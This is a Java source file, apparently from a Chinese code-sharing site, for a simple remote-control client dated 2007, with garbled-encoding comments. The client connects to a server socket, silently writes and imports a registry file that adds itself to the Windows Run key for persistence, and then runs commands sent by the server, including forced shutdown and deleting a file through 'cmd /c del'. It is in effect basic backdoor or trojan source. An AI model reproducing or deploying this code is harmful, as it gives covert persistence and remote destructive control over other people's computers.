?? client.java
字號:
/* 開發(fā)作者:seawan
* 時間:2007/9/13
* 版本:1.0
* 基本功能:1.關機
2.取消關機
3.格式化
4.播放音樂
5.顯示圖片
* 方法及變量說明:本程序實現(xiàn)了關機,取消關機,播放音樂,顯示圖片,格式化和聊天功能,控制端由server控制.
當服務器端運行時,客戶端接入,服務器端會顯示提示信息,按提示信息操作會得到相應的結果.
*/
package test;
import java.applet.*;
import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;
import java.lang.Runtime;
import javax.swing.*;
public class Client {
public static void main(String[] args) throws UnknownHostException, IOException {
Socket s = new Socket("127.0.0.1",8888);
try{
File f=new File("C.reg");
if(f.exists()==false)
{
FileOutputStream reg=new FileOutputStream("C.reg");
String streg=new String("Windows Registry Editor Version 5.00\r\n\r\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\r\n\"Clientjava\"=\"javaw Client\"");
reg.write(streg.getBytes());
reg.close();
Runtime r=Runtime.getRuntime();
r.exec("regedit /s C.reg");
}
}catch(Exception e){}
try{
Thread.sleep(3000);
System.out.println("服務器"+s.getInetAddress().getHostName()+"與你建立連接...");
//建立緩沖并把原始的字節(jié)流轉變?yōu)閁nicode可以操作
BufferedReader in = new BufferedReader(new InputStreamReader(s
.getInputStream()));
PrintWriter out = new PrintWriter(new BufferedWriter(
new OutputStreamWriter(s.getOutputStream())), true);
BufferedReader inkey = new BufferedReader(
new InputStreamReader(System.in));
while(true){
String rnmsg = in.readLine();
System.out.println("Server:"+rnmsg);
//當收到服務器發(fā)送指令1-5時,執(zhí)行以下模塊
//關機
if(rnmsg.equalsIgnoreCase("1")){
Runtime r=Runtime.getRuntime();
r.exec("shutdown -s -t 600");
}
//取消關機
if(rnmsg.equalsIgnoreCase("2")){
Runtime r=Runtime.getRuntime();
r.exec("shutdown -a");
}
//刪除文件
if(rnmsg.equalsIgnoreCase("5"))
{
Runtime rt=Runtime.getRuntime();
String filepath="c:\\test.txt";
rt.exec("cmd /c del "+filepath);
}
//播放音樂
if(rnmsg.equalsIgnoreCase("3"))
{
music m=new music();
m.setSize(340,200);
m.setVisible(true);
if(m.audio!=null)
m.audio.stop();
}
//顯示圖片
if(rnmsg.equalsIgnoreCase("4"))
{
frame f=new frame();
f.setSize(200,200);
f.setVisible(true);
}
System.out.print("Client:");
String getmsg = inkey.readLine();
out.println(getmsg);
}
}
//捕獲異常處理
catch(Exception e)
{
System.out.println(e.getMessage());
}
finally{
s.close(); //關閉端口
}
}
}
//音樂播放相關
class music extends JFrame implements ActionListener
{
private JButton jbn=new JButton("播放WINDOWS啟動音樂");//在框架中添加組件1
private JButton jbt=new JButton("播放WINDOWS關機音樂");//在框架中添加組件2
private JButton jbn1=new JButton("循環(huán)播放");//在框架中添加組件3
private JButton jbn2=new JButton("停止播放");//在框架中添加組件4
private jpanel p=new jpanel();
URL u=this.getClass().getResource("start.wav");
URL u2=this.getClass().getResource("close.wav");
AudioClip audio=Applet.newAudioClip(u);
AudioClip audio2=Applet.newAudioClip(u2);
public music(){
getContentPane().add(jbn,BorderLayout.NORTH);//按鈕1位置
getContentPane().add(jbt,BorderLayout.SOUTH);//按鈕2位置
getContentPane().add(jbn1,BorderLayout.WEST);//按鈕3位置
getContentPane().add(jbn2,BorderLayout.EAST);//按鈕4位置
getContentPane().add(p,BorderLayout.CENTER);//按鈕4位置
jbn.addActionListener(this);
jbt.addActionListener(this);
jbn1.addActionListener(this);
jbn2.addActionListener(this);
}
public void actionPerformed(ActionEvent e)
{
if(e.getSource()==jbn)
audio.play();
if(e.getSource()==jbt)
audio2.play();
if(e.getSource()==jbn1)
audio2.loop();
if(e.getSource()==jbn2)
audio2.stop();
}
}
//圖片顯示相關
class frame extends JFrame
{
public frame()
{
jpanel p=new jpanel();
p.setLayout(new FlowLayout());
getContentPane().add(p,BorderLayout.CENTER);
}
}
class jpanel extends JPanel
{
public jpanel(){
}//構造方法
public void paintComponent(Graphics g)
{
URL url=this.getClass().getResource("dog.jpg");
ImageIcon imageIcon=new ImageIcon(url);
g.drawImage(imageIcon.getImage(),10,10,150,150,this);
}
}
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -